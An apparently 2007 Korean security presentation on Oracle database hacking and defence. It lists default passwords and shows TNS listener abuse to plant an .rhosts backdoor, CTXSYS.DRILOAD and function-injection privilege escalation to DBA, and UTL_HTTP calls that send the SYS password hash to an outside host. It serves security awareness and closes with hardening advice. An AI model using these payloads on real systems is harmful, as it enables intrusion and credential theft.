Hacking and Securing Oracle OCT. 2007 주식회사모니터랩 By Coderant(http://coderant.egloos.com)
목 차 Chapter I. 개요 Chapter II. DB 보안 Chapter III. DB 해킹기법소개 Chapter IV. 결론
Chapter I. 개요 Agenda - 우리가잘모르고있는 DB 보안 - DB 서버의 Security Hole 에대한 Awareness - DB 서버를대상으로어떤방식으로해킹이되는지이해 - 안전한 Oracel Database 서버를위한기본적인 Idea - Computer Emergency Response Team(CERT) 에발표에의하면모든해킹의 95% 가알려진취약점을이용한다. - Deloitte 2005 Global Security Suvery 자료에의하면내부자에의한공격이외부자공격보다빈도가증가하고있다. - 궁극적으로 Database 서버의 Security Awareness 및효과적인보안대책을수립
Chapter I. 개요 What are the hackers trying to do - DB 를손상시키거나, 접근권한을획득하고자한다. - 잘못설정된 Configuration 는권한승계를허용한다. - 잘못설정된 Configuration 은비인가데이터에접근을허용한다. - 잘못설정된 Configuration 은손상 (Damage) 와비즈니스손실을가져온다. To protect Oracle thing like a hacker - Database 를보안에대해서먼저해커처럼생각하라 -Oracle 에서발생할수있는모든 Security Hole 및 Risk 를고려 Configuration, Permission, Bug
Chapter I. 개요 Main Security Problem - 인터넷액세스 : 디폴트로 DB 에서많은포트가 Open 되어있음 이는잠재적으로 MS SQL 의슬래머웜같은공격에취약할수있음 - Oracel TNS Listener 에대한해킹공격 (DoS) - Buggy 패키지의취약성을악용한해킹공격 ex) UTL_FILE, DBMS_BACKUP_RESTORE, EMD_SYSTEM, DBMS_LOB, DBMS_NAMESPACE, DBMS_SCHEDULER JAVA 등등 - 패키지 (Pakage)/Function/ 프로시저 (Procedure) 를악용 - Oracle 의디폴트패스워드문제 ex) 초당 1,100,000 hash 크랙가능 (2.8GHz 펜티엄 4 PC)
Chapter II. DB 보안 Oracle Network Architecture OSI OSI Network 모델모델
Chapter II. DB 보안 Oracle 에서구동되는프로세스 $ ps -ef grep oracle oracle 17749 1 0 11:26:13? 0:00 ora_pmon_orasidsol oracle 17757 1 0 11:26:16? 0:01 ora_smon_orasidsol oracle 17759 1 0 11:26:17? 0:00 ora_reco_orasidsol oracle 17751 1 0 11:26:15? 0:01 ora_dbw0_orasidsol oracle 17753 1 0 11:26:16? 0:01 ora_lgwr_orasidsol oracle 17755 1 0 11:26:16? 0:05 ora_ckpt_orasidsol oracle 17762 1 0 11:30:59? 1:34 oracleorasidsol (LOCAL=NO) PMON 프로세스 : 프로세스모니터하는프로세스 SMON 프로세스 : 시스템모니터프로세스 (crash recovery) RECO 프로세스 : Distributed Transaction Recovery 프로세스 DBWR 프로세스 : Database Writer 프로세스 LGWR 프로세스 : Log Writer 프로세스, handling redo logs. CKPT 프로세스 : Checkpoint 프로세스
Chapter II. DB 보안 DBA 를가지는것들 SYS와 SYSTEM 모두 DBA 권한을가진계정이지만기타다른계정에서도 DBA 권한이부여되어있는경우가간혹있다.(MDSYS, CTXSYS, WKSYS, SYSMAN) SQL> select distinct a.name from sys.user$ a, sys.sysauth$ b where a.user#=b.grantee# and b.privilege#=4; NAME ----------------------------- CTXSYS SYS SYSMAN SYSTEM WKSYS * Oracle 10g 에서는기본적으로제거되어있음
Chapter II. DB 보안 Oracle Role 과 Privilege 해커가관심있어하는중요한데이터베이스뷰 (DATABASE VIEW) 데이터베이스뷰 설명 (Description) DBA_USERS DB 안에있는사용자계정에대한정보 ( 패스워드포함 ) DBA_PROFILE DBA_ROLES DBA_ROLE_PRIVS DBA_SYS_PRIVS ROLE_SYS_PRIVS ROLE_ROLE_PRIVS USER_ROLE_PRIVS USER_SYS_PRIVS 각프로파일에대한리소스에관한정보 DB안에있는모든Role에대한모든상세한정보각사용자와기타 Role 부여되어있는권한 Role 정보각사용자와기타 Role 부여되어있는시스템권한 Role 정보다른 Role에부여되어있는시스템권한을보여줌다른 Role에부여되어있는 Role를보여줌현재사용자에부여되어있는 Role 정보를보여줌현재사용자에부여되어있는시스템권한정보를보여줌 * System Tablesspace : x$, $ 가붙은테이블 (v$fixed_table)
Chapter II. DB 보안 DB 오브젝트타입 Oracle 10g 에서는 Default 로, 41 개이상의오브젝트타입이있다
Chapter II. DB 보안 SYS 스키마정보와관련된것들 - 프로세스와세션정보는 SYS 스키마에 v$process 와 v$session 테이블에저장됨 - Oracle Intelligent Agent 는 TCP port 1748, 1808, 1809 사용 종종 dbsnmp SNMP 요청을 1161 번포트에서 Listening 한다. - Oracle 의디퐅트 SID 목록 Product Oracle XE Oracle 9i ~ 10g Oracel Default SID Oracle Enterprise Manager Repository BEA Weblogic SAP Standard System Open View 디폴트 SID XE IASDB ORCL OEMREP MSAM SA*, SID OPENVIEW, OVO
Chapter II. DB 보안 시스템권한 (System Privilege) SQL> select name from system_privilege_map; SYSTEM 그룹의권한 : ALTER ANY, CREATE ANY, EXECUTE ANY, ANALYZE, AUDIT, DEBUG, DELETE ANY, DROP ANY
Chapter III. DB 해킹기법 Oracle DB 보안취약점구분 1) Oracle의 extpro 와같은환경변수의악용 2) Network Protocol의인증결함 3) Authentication Protocol의결함 4) 비인가접근 - 안전하지않은 Oracel TNS Listener 포트에대한공격 5) Arbitrary Code Execution in Intrinsic SQL Elements 6) 잘못된사용 - SQL Injeciton, Dynamic PL/SQL Injection 7) 패키지의 SQL Injection 취약점 - DRILOAD.VALIDATE_STMT SQL Injection를통해권한상승 [ 예 Oracle 8i 취약점 ] SQL> exec CTXSYS.DRILOAD.VALIDATE_STMT( GRANT DBA TO PUBLIC );
Chapter III. DB 해킹기법 Oracle DB 해킹기법에대한 Summary 구분 사용자인증 네트워크서비스 상세해킹구현기법디폴트 DB 개정및패스워드 Password Cracking TNS Listener 포트 1521를통한해킹시도 Oracel Stadard 패키지 SQL Injection Injection Attack(Code Injection, PL/SQL Injection) Function Call Injection DBMS_SYS_SQL.PARSE_AS_USER 함수를이용하여악의적인 PL/SQL 만들어서실행할수있음 Un-Documented Un-documented initialisation parameter(init.ora) CURRENT SESSION (alter session set current_schema = yes)
Chapter III. DB 해킹기법 Default UserNamer 과 Password 로접속기본적으로 DB 설치시존재하는계정과패스워드를통한접근가능 아래에기술한것말고도디폴트계정 / 패스워드는많다. - SYS/CHANGE_ON_INSTALL - SYSTEM/MANAGER - DBSNMP/DBSNMP - CTXSYS/CTXSYS - MDSYS/MDSYS - SCOTT/TIGER
Chapter III. DB 해킹기법 Oracle DB 버전별 Without Authentication
Chapter III. DB 해킹기법 Oracle 의 Authentication 취약점 2006 년발표된 Critical 한 Oracle 취약점 ( 인증초기화세션시의 SQL 의조작을통한권한 DBA 권한상승 )
Chapter III. DB 해킹기법 SYSMAN 의 MGMT_VIEW 정보추출 VIEW_USERNAME, VIEW_PASSWORD 에서취약한 Encryption 패스워드추출 (Oracle 10g, 11g 에만해당됨 )
Chapter III. DB 해킹기법 Oracle Hash Password 크랙단순한패스워드는크랙하는데 1 초도걸리지않음
Chapter III. DB 해킹기법 TNS Listener Attack(1) - 가장쉬운 ORACLE 공격중하나는 Listener 를공격하는것 - TNS Denial of Sevices Attack - Oracel 9i/10g 에서 Listener 패스워드가설정되면 TNS 공격시에러가발생 - 2002 년경에나왔던 Oracle 9i 의 Long Service_name 파라메터 오버플로우취약점 공격예 ) (DESCRIPTION= (ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.65)(PORT=1521)) (CONNECT_DATA= (SERVICE_NAME=hacker_shellcode_goes_here) (CID=(PROGRAM=SQLPLUS.EXE) (HOST=foo)(USER=bar))))
Chapter III. DB 해킹기법 TNS Listener Attack(2) root% tnscmd status -h Target.com -p 1521 [TNS 패킷내용 ] sending (CONNECT_DATA=(COMMAND=status)) to Target.com:1521 writing 89 bytes reading...6...`...j... (DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0) (ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Sol aris:.version.8.1.6.0.0.-.production)(start_date=01-sep- 2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/app/oracle/product/8. 1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro)
Chapter III. DB 해킹기법 TNS Listener Attack(3) rhost 파일에 + + 를 insert 시켜 rlogin 으로인증없이서버에접근 [ 해킹공격예 ] 1) root%./tnscmd --rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=) (USER=)(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTE NER)(VERSION=135294976)(VALUE=/u01/home/oracle/.rhosts))) " -h oraclesvr2 2) root%./tnscmd --rawcmd " + + " -h oraclesvr2 3) root% rlogin -l oracle oraclesvr2 4) root% tnscmd10g.pl -h 10.0.0.151 --10G --rawcmd "(CONNECT_DATA=((<here your pl/sql code to propagate>"
Chapter III. DB 해킹기법 Sniffing ALTER USER SQLNET.ORA 파일에다음내용을추가 TRACE_FILE_SERVER = oug.trc TRACE_DIRECTORY_SERVER =../tmp TRACE_LEVEL_SERVER = SUPPORT SQL > alter user scott identified by xdgeowvword; User altered
Chapter III. DB 해킹기법 SQL Injection SQL Injection Attack 분류 - SQL 구문조작 (Manipulation) - Code 삽입 (Injection) 오라클은 Dynamic SQL 형태에서는 Multi SQL Statement 를허용하지않는다.( 즉 ; 를허용하지않는다는의미 ) - Function Call 삽입 (Injection) - Buffer Overflow
Chapter III. DB 해킹기법 SQL Injection SQL 구문조작 Attack - Web 해킹을통한우편번호검색부분의 SQL 구문조작사례
Chapter III. DB 해킹기법 SQL Injection Code Injeciton Attack http://www.xxx.com/forum/bbs/download.jsp?idx=5'%20union%20select%20%201,tname,'3', 444,'444'%20from%20sys.tab%20where%20tname%20not%20in%20('A0TMSRNES','A0T ORGTBL','A0TTBLSCM','A1TXMLINF','A4TCPADLG','BANK_THEME_DATA')--
Chapter III. DB 해킹기법 SQL Injection Oracle Worm(Voyager) 2005 년 11 월익명의제보자에의한 Oracle Voyager Worm 제보 - Voyager Worm 의구동 1) Grant DBA to public(ctxsys.driload 취약점 ) 2) Drop the trigger aa 3) Google 에다음과같은 URL 를요청함 http://www.google.de/search?hl=en&q=startc0gtjbi1+fulldisclosure&btni=i%27m+ Feeling+Lucky 4) 모든 Oracle 해시패스워드를 larry@oracle.com 주소로전송 5) Worm 이 listener.log 수정하고다음과같은명령어를 glogin.sql 에추가 "alter user mdsys identified by mdsys" 그리고 glogin.sql 실행 6) create database link 를생성하고패스워드추출시 (system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon) 7) TNS listener 중지시킴
Chapter III. DB 해킹기법 SQL Injection Oracle 의 PL/SQL 의 Rootkit, 백도어 OracleRootkit.sql OracleBackdoor.sql
Chapter III. DB 해킹기법 SQL Injection Oracle PL/SQL Oracle Rootkit, 백도어 Rootkit, 백도어를이용하여 DB 서버로 Reverse 접속
Chapter III. DB 해킹기법 SQL Injection SQL Manipulation [ 정상쿼리 ] SELELCT * FROM users WHERE username = admin and password = xagg3 [SQL Query 조작사례 -1] SELELCT * FROM users WHERE username = admin and password = xagg3 or 1 = 1 [SQL Query 조작사례 -2] SELELCT product_name FROM all_product WHERE product_name LIKE = %LG UNIONr 1 = 1 SELECT username FROM dba_users WHERE username like %
Chapter III. DB 해킹기법 SQL Injection Code Injection [Code Injection 에러 ] SELELCT * FROM users WHERE username = admin and password = xagg3 ; DELETE FROM users Oracle 에서는 multiple SQL Statement 를지원하지않는다. 위와같은공격은실패한다. 따라서위와같은공격은 PL/SQL Block 공격으로가능 [Anonymous PL/SQL Block 에서공격 ] BEGIN ENCRYPTION_PASSWORD( admin and password= xagg3 ); DELETE FROM users WHERE upper(username) = upper( admin ); END;
Chapter III. DB 해킹기법 SQL Injection Function Call Injection Oracle 의패키지의 Function 이나사용자 Function 에서 SQL 구문을 Injection 시키는공격 Oracle 은 1000 개의 Function 과 175 개정도의기본패키지를지원함 [ 정상적인경우 ] SELELCT TRANSLATE( user input, 0123456789ABCDEFGH IJKLMNOPQRSTUVWXYZ, 0123456789 ) FROM dual; [Function Call Injection 공격 ] SELELCT TRANSLATE( UTL_HTTP.REQUEST(http://192. 168.1.1/ ) 0123456789ABCDEFGHIJKLMNOPQRSTUVW XYZ, 0123456789 ) FROM dual;
Chapter III. DB 해킹기법 SQL Injection PL/SQL 에서의 SQL Injection 스토어드프로시저는 PL/SQL 나 JDBC 의 Callablestatement 둘중 에하나의형태로호출되어사용된다. PL/SQL 이실행되는 4 가지 Type - Embeded SQL Statement : Compiled, Bind Variable 만허용 - Static Cursors : Compiled, Bind Variable 만허용 - ECUTE IMMEDIATE : DBMS_SQL 를대체함 - DBMS_SQL 패키지 : Dynamic SQL 의옛날방식 간혹, EXECUTE IMMEDIATE 와 DBMS_SQL 를결합해서사용하는경우도있음.
Chapter III. DB 해킹기법 SQL Injection PL/SQL 의구성 PL/SQL 3 가지 Block Type - Anonymous, Procedure, Function
Chapter III. DB 해킹기법 SQL Injection EXECUTE IMMEDIATE 구문 (1) PL/SQL 코드안에서 Dynamic SQL 를실행시킴 예 ) SQL Injection 공격에취약한 execute immediate 구문 CREATE OR REPLACE PROCEDURE demo (name IN VARCHAR2) AS sqlstr VARCHAR2(1000); code VARCHAR2(100); BEGIN sqlstr := SELECT postal-code FROM state WHERE state-name = `` name ; EXECUTE IMMEDIATE sqlstr; END; State-name = :name; / Bind Variable 형태로하면 SQL Injection 공격을차단할수있다.
Chapter III. DB 해킹기법 SQL Injection EXECUTE IMMEDIATE 구문 (2) Anonymous PL/SQL Block 은 SQL Injection 공격에매우취약 예 ) SQL Injection 공격에취약한 execute immediate 구문 CREATE OR REPLACE PROCEDURE demo (name IN VARCHAR2) AS sqlstr VARCHAR2(1000); code VARCHAR2(100); BEGIN -- 취약한경우의코드 EXECUTE IMMEDIATE BEGIN updatepass ( value ); END ; -- 취약하지않은코드 cmd := BEGIN updatepass (:1); END ; EXECUTE IMMEDIATE cmd USING value; END; /
Chapter III. DB 해킹기법 SQL Injection Injecting Function - 만약 Attacker 가서버에서 function 을생성할수있다면악의적인 PL/SQL function 를만들어실행하거나 SQL 구문에 Injection 할수있다. - Attacker 가사용할함수는 AUTHID CURRENT_USER 키워드가설정되어있어야함 스토어드프로시저실행권한 (invoker, definer) 의상관없이접근권한은실행할때컴파일유저가아닌현재접속해있는유저 - AUTONOMOUS_TRANSACTION pragma 를설정해야함.
Chapter III. DB 해킹기법 SQL Injection Injecting Function - requisite privilege 로실행되어야 SCOTT 가 DBA Role 를획득하게된다. CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; END; / GRANT EXECUTE ON GET_DBA TO PUBLIC; / LIST_LIBRARIES 프로시저가다음과같이실행되는것을의미한다. SELECT object_name FROM all_objects WHERE owner = 'ABC' SCOTT.GET_DBA() SQL> EXEC SYS.LIST_LIBRARIES('ABC'' SCOTT.GET_DBA()--'); PL/SQL procedure successfully completed.
Chapter III. DB 해킹기법 SQL Injection Injecting Function 사용자 Function 을통한 Privilege Escalation Oracle 10g 에서테스트한결 과 (Oracle CPU July 2006 패치되어더이상공격안됨 )
Chapter III. DB 해킹기법 SQL Injection Injecting Function CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ''' P_OWNER ''' AND OBJECT_TYPE=''LIBRARY'''; LOOP FETCH CV INTO buffer; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; END; / 만약 SQL Injection 취약점이존재한다면 P_OWNER 파라메터에 UNION SELECT 구문을삽입하는공격이가능하다. SQL> EXEC SYS.LIST_LIBRARIES('MDSYS'); ORDMD_IDX_LIBS ORDMD_REL_LIBS 정상적인쿼리 ORDMD_WD_LIBS ORDMD_MBR_LIBS ORDMD_UDT_LIBS EATE OR REPLACE PROCEDURE SQL> EXEC SYS.LIST_LIBRARIES('NOUSER'' UNION SELECT PASSWORD FROM DBA_USERS--'); 23F797F38974856E 29802572EB547DBF 2A09F346B7886867 2BE6F80744E08FEB SQL Injection 쿼리
Chapter III. DB 해킹기법 패키지취약점 패키지버그공격사례 - DBA 권한획득 SQL> select * from user_role_privs; USERNAME GRANTD_ROLE ADM DEF OS ----------- ----------------- ------ ---- ----- SCOTT CONNECT NO YES NO SCOTT RESORCE NO YES NO SQL> exec ctxsys.driload.validate_stmt( grant dba to scott ); BEGIN ctxsys.driload.validate_stmt( grant dba to scott ); END; * ERROR at line 1: ORA-06510 : PL/SQL: unhandled user-defined exeception ORA-06512 : at CTXSYS.DRILOAD, line 42 ORA-01003 : no statement parsed ORA-06512 : at line 1 SQL> select * from user_role_privs; USERNAME GRANTD_ROLE ADM DEF OS ----------- ----------------- ------ ---- ----- SCOTT CONNECT NO YES NO SCOTT DBA NO YES NO SCOTT RESORCE NO YES NO
Chapter III. DB 해킹기법 패키지취약점 UTL_HTTP 패키지보안 - UTL_HTTP 패키지는 Oracle DB 서버로 Out-of-band 커넥션을요청할수있게해준다. - SYS user 의패스워드를추출할수있다. - 기타 UTL_SMTP, UTP_TCP, UTP_FILE 패키지도버그가존재한다면이와같은악의적인공격이가능하다. 공격예제 ) SELECT utl_http.request('http://192.168.0.100:5500/' (SELECT password FROM dba_users WHERE username='sys')) FROM dual;
Chapter III. DB 해킹기법 패키지취약점 UTL_HTTP.REQUEST 패키지취약점 - UTL_HTTP.REQUEST 는 SQL injection 하는데특별히용이 ex) FOO 파라메터에 SQL Injection 취약점이존재할경우공격은다음과같이이루어진다. http://example.com/search?foo=bar' utl_http.request( http:// 192.168.0.100:5500/' (SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) 'BAR 다른오라클네트워크패키지에서도다양하게사용될수있다. (UTL_MAIL, UTL_SMTP, UTL_INADDR)
Chapter III. DB 해킹기법소개 오라클 DB Link 공격 SQL> create database link remote_db connect to scott identified by tiger using '(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=192.168.0.120)(PORT=1521))(CONNECT_DATA= (SERVICE_NAME=sparc10g)))'; Database link 가생성되며 link 로다음과같이쿼리를실행할수있다. DB Link 된서버로연결되고 ALL_USERS table 쿼리가능하다 ex) SQL>SELECT USERNAME FROM ALL_USERS@REMOTE_DB
Chapter III. DB 해킹기법소개 Oracel 버전별취약점 ORACEL 취약점발표는 2006 년 ~ 2007 년기준 구분상세분류 Impact ORACEL 8i (2005 년기준 ) ORACLE 9i ORACLE 10g CTXSYS.DRILOAD의 SQL Injection 취약점 DBMS_SYSTEM.KSDWRT의버퍼오버플로우 Create Database Link 버퍼오버플로우다양한파일파라메터버퍼오버플로우 DBMS_REPCAT_FGT의버퍼오버플로우 DBMS_REPCAT_ADMIN의버퍼오버플로우 DBMS_REPCAT의버퍼오버플로우 UTL_FILE을통한 Directory Traversal DBMS_SYS_SQL을통한DBA 권한획득 dbms_export_extension의 SQL Injection Views와 outer joins을통한 Privilege escalation DBMS_XMLSCHEMA_INT 버퍼오버플로우 KUPW$WORKER의 SQL Injection dbms_export_extension의 SQL Injection Become DBA Crash Database Crash Database Crash Database / Execute Code Crash Database / Execute Code Crash Database / Execute Code Crash Database / Execute Code Become DBA Become DBA Become DBA Become DBA Create Remote Shell Become DBA Become DBA
Chapter III. DB 해킹기법소개 Oracel 버전별취약점 ORACEL 취약점발표는 2006 년 ~ 2007 년기준 구분상세분류 Impact ORACEL 10g KUPV$FT의 SQL Injection Local Privilege Escalation (win32) KUPM$MCP의 SQL Injection KUPW$WORKER의 SQL Injection KUPV$FT의 SQL Injection Local Privilege Escalation (win32) KUPM$MCP의 SQL Injection Become DBA via cursor Become DBA Become DBA via cursor Become DBA via cursor Become DBA via cursor Become DBA Become DBA via cursor
Chapter III. DB 해킹기법소개 주기적인 Role/Priviledge 진단테스트
Chapter IV. 결론 대응방안 - 보안의궁극적인목적은 Database 에있는데이터를보호하기위한것이다. - Web 보안은지속적인점검과대비를하지않으면언제라도보안취약점을이용한해커의공격을받을수있다. - 사용자는꼭필요한최소권한 (least privilege) 만을부여 - Public 은오라클데이터베이스의모든사용자에게디폴트로적용되기때문에 Public 사용자그룹에서불필요한권한을제거 - 모든사용자는 Public 에권한부여 (Privilege grant) 여부점검 - PL/SQL 패키지를실행시켜보낼자신에게권한부여된권한범위를넘어서는작업을할수도있을것이다.
감사합니다